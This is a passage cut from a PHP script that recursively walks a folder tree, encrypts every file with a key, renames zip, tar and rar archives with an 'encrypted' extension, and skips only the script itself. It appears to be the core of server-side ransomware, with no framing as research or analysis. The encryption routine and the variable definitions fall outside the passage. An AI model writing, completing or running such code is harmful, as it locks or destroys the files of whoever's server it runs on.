getMessage());
}
}
} elseif ($fileExtension === 'zip' || $fileExtension === 'tar' || $fileExtension === 'rar') {
$encryptedFile = $filePath . $encryptedExtension;
if (!file_exists($encryptedFile)) {
rename($filePath, $encryptedFile);
}
}
}
function encryptFiles($folder, $encryptionKey, $encryptedExtension, $currentScriptFile) {
$files = scandir($folder);
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
$filePath = $folder . '/' . $file;
if (is_dir($filePath)) {
encryptFiles($filePath, $encryptionKey, $encryptedExtension, $currentScriptFile);
} else {
encryptFile($filePath, $encryptionKey, $encryptedExtension, $currentScriptFile);
}
}
}
encryptFiles($folder, $encryptionKey, $encryptedExtension, $currentScriptFile);
?>